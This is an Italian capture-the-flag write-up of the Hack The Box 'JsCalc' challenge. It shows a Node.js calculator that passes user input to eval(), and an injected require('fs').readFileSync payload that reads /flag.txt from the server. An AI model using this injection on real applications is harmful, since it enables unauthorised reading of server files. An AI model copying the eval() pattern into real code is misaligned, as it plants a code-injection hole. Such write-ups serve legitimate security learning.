JsCalc

Aggiornamento: 08.12.2023 Tempo di lettura: 08 min.
 

Andando a verificare il sito internet troviamo una semplice calcolatrice che utilizza eval() per eseguire i calcoli.

Andiamo a controllare il codice:

calculatoreHelper.js

Quando si visualizza il sorgente, sembra che la funzione calculate() esegua un'operazione eval() su una funzione che contiene l'input dell'utente.

module.exports = {
    calculate(formula) {
        try {
            return eval(`(function() { return ${ formula } ;}())`);

        } catch (e) {
            if (e instanceof SyntaxError) {
                return 'Something went wrong!';
            }
        }
    }
}

A questo punto la cosa più semplice è utilizzare il modulo fs:

require('fs').readFileSync('/flag.txt','utf8')

e la flag è presa: HTB{c4l......................rc3}